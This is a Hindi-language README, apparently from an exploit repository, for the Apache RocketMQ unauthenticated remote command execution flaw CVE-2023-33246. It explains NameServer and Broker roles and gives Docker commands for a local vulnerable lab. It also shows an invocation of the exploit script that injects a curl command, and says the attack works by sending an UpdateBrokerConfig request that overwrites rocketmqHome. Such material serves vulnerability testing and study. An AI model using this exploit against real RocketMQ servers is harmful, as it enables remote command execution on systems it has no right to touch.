
Apache RocketMQ RCE (CVE-2023-33246) के लिए एक्सप्लॉइट जो कॉन्फ़िगरेशन अपडेट फ़ंक्शन के माध्यम से मनमाने कमांड निष्पादित करता है, जिसमें पर्यावरण सेटअप और उपयोग के उदाहरण शामिल हैं।
Apache RocketMQ सबसे लोकप्रिय और व्यापक रूप से उपयोग किए जाने वाले वितरित मैसेजिंग और स्ट्रीमिंग प्लेटफ़ॉर्म में से एक है। हाल ही में Apache RocketMQ में एक कमांड निष्पादन भेद्यता की सूचना दी गई है जो संस्करण 5.1.0 और उससे नीचे को प्रभावित करती है। एक दूरस्थ अप्रमाणित उपयोगकर्ता अपडेट कॉन्फ़िगरेशन फ़ंक्शन का उपयोग करके इस भेद्यता का शोषण कर सकता है और RocketMQ उपयोगकर्ता प्रक्रिया के समान पहुँच स्तर के साथ कमांड निष्पादित कर सकता है।
RocketMQ में नेमसर्वर संपूर्ण मैसेजिंग बुनियादी ढांचे के लिए एक रजिस्ट्री या मेटाडेटा स्टोर के रूप में कार्य करता है।
यह टॉपिक, कतार और संदेशों को संभालने के लिए जिम्मेदार ब्रोकर्स के बारे में जानकारी बनाए रखता है।
क्लाइंट (प्रोड्यूसर और कंज़्यूमर) नेमसर्वर का उपयोग उन ब्रोकर्स की खोज करने के लिए करते हैं जिनके साथ उन्हें संदेश प्रकाशित या उपभोग करने के लिए संवाद करना होता है।
नेमसर्वर RocketMQ क्लस्टर के भीतर गतिशील रूटिंग, लोड बैलेंसिंग और फ़ेलओवर के लिए जिम्मेदार है।
यह क्लाइंट और ब्रोकर्स से आने वाले अनुरोधों के लिए एक विशिष्ट पोर्ट (आमतौर पर डिफ़ॉल्ट रूप से पोर्ट 9876) पर सुनता है।
ब्रोकर RocketMQ सिस्टम के वर्कहॉर्स हैं, जो संदेशों को संग्रहीत और प्रबंधित करने के लिए जिम्मेदार हैं।
प्रत्येक ब्रोकर एक या अधिक टॉपिक का प्रबंधन करता है, जो संदेश संचार के लिए तार्किक चैनल हैं।
प्रोड्यूसर विशिष्ट टॉपिक पर संदेश प्रकाशित करते हैं, और कंज़्यूमर संदेश प्राप्त करने के लिए टॉपिक की सदस्यता लेते हैं।
ब्रोकर सदस्यता और संदेश उपभोग पैटर्न के आधार पर संदेश भंडारण, प्रतिकृति और कंज़्यूमर तक वितरण को संभालते हैं।
वे प्रत्येक टॉपिक-पार्टीशन के लिए संदेश कतार बनाए रखते हैं, कुशल संदेश प्रसंस्करण और वितरण सुनिश्चित करते हैं।
ब्रोकर स्वयं को पंजीकृत करने, मेटाडेटा अपडेट करने और क्लस्टर के रूटिंग और लोड बैलेंसिंग तंत्र में भाग लेने के लिए नेमसर्वर के साथ संवाद करते हैं।
Docker के माध्यम से स्थानीय RocketMQ वातावरण सेट करें
docker pull apache/rocketmq:4.9.4
### Start nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
### Start Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
python3 check.py --ip 127.0.0.1 --port 9876

PCAP

UpdateBrokerConfig() फ़ंक्शन तब ट्रिगर होता है जब कोड '25' वाला अनुरोध प्राप्त होता है, जो RequestCode से संबद्ध है
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl 127.0.0.1/exp

PCAP

हम broker.conf फ़ाइल में पाए जाने वाले "rocketmqHome" सर्वर कॉन्फ़िगरेशन का उपयोग करते हैं। यह कॉन्फ़िगरेशन RocketMQ उपयोगकर्ता प्रक्रिया के भीतर पर्यावरणीय चर ROCKETMQ_HOME का मान सेट करता है। इस मान को सावधानीपूर्वक तैयार करके, हम अपनी पसंद के कमांड निष्पादित कर सकते हैं।

इस प्रकार यह भेद्यता काम करती है..